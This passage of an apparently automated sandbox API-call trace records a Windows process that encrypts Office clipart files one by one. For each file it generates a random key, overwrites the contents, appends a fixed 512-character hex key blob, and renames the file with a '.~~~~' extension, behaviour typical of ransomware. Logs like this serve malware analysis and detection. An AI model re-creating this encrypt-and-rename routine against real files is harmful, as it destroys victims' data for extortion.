	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864770
	[0100.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.394] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.394] GetLastError () returned 0x0
	[0100.394] GetLastError () returned 0x0
	[0100.394] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.394] GetLastError () returned 0x0
	[0100.394] GetLastError () returned 0x0
	[0100.450] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.450] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x30f0, lpOverlapped=0x0) returned 1
	[0100.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.451] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.451] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.451] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.451] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.451] CloseHandle (hObject=0x11c) returned 1
	[0100.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.~~~~")) returned 1
	[0100.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.453] GetLastError () returned 0x0
	[0100.453] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.454] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.454] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22044450265) returned 1
	[0100.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa58e79d0, dwHighDateTime=0x1d60e1e)) 
	[0100.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862bb8
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862bb8 | out: hHeap=0x300000) returned 1
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864938
	[0100.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.456] GetLastError () returned 0x0
	[0100.456] GetLastError () returned 0x0
	[0100.456] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.456] GetLastError () returned 0x0
	[0100.456] GetLastError () returned 0x0
	[0100.488] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffab2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.488] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x54d4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x54d4, lpOverlapped=0x0) returned 1
	[0100.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.489] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.489] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.489] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.489] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.490] CloseHandle (hObject=0x11c) returned 1
	[0100.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.490] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.~~~~")) returned 1
	[0100.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.491] GetLastError () returned 0x0
	[0100.491] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.493] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0100.493] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.493] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22048290440) returned 1
	[0100.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa5959df0, dwHighDateTime=0x1d60e1e)) 
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862c60
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862c60 | out: hHeap=0x300000) returned 1
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864b00
	[0100.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.494] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.494] GetLastError () returned 0x0
	[0100.494] GetLastError () returned 0x0
	[0100.494] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.494] GetLastError () returned 0x0
	[0100.494] GetLastError () returned 0x0
	[0100.547] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb724, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.547] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x48dc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x48dc, lpOverlapped=0x0) returned 1
	[0100.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.548] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.549] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.549] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.549] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.549] CloseHandle (hObject=0x11c) returned 1
	[0100.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.~~~~")) returned 1
	[0100.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.550] GetLastError () returned 0x0
	[0100.551] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.552] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.552] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.552] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22054235858) returned 1
	[0100.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa59f2370, dwHighDateTime=0x1d60e1e)) 
	[0100.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862cd0
	[0100.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862cd0 | out: hHeap=0x300000) returned 1
	[0100.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864cc8
	[0100.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.553] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.553] GetLastError () returned 0x0
	[0100.553] GetLastError () returned 0x0
	[0100.553] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.553] GetLastError () returned 0x0
	[0100.554] GetLastError () returned 0x0
	[0100.656] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4a6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.656] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb594, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb594, lpOverlapped=0x0) returned 1
	[0100.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.658] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.658] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.658] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.658] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.658] CloseHandle (hObject=0x11c) returned 1
	[0100.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.~~~~")) returned 1
	[0100.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.660] GetLastError () returned 0x0
	[0100.661] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.662] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.662] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22065241142) returned 1
	[0100.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa5afcd10, dwHighDateTime=0x1d60e1e)) 
	[0100.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862de8
	[0100.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862de8 | out: hHeap=0x300000) returned 1
	[0100.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864e90
	[0100.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.663] GetLastError () returned 0x0
	[0100.663] GetLastError () returned 0x0
	[0100.663] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.664] GetLastError () returned 0x0
	[0100.664] GetLastError () returned 0x0
	[0101.249] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe48c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.249] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b74, lpOverlapped=0x0) returned 1
	[0101.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0101.253] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.254] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0101.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0101.254] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0101.254] CloseHandle (hObject=0x11c) returned 1
	[0101.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x295e9b8
	[0101.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.~~~~")) returned 1
	[0101.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x295e9b8 | out: hHeap=0x300000) returned 1
	[0101.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0101.256] GetLastError () returned 0x0
	[0101.257] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0101.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.258] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0101.258] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22124818373) returned 1
	[0101.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa60a4150, dwHighDateTime=0x1d60e1e)) 
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0101.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
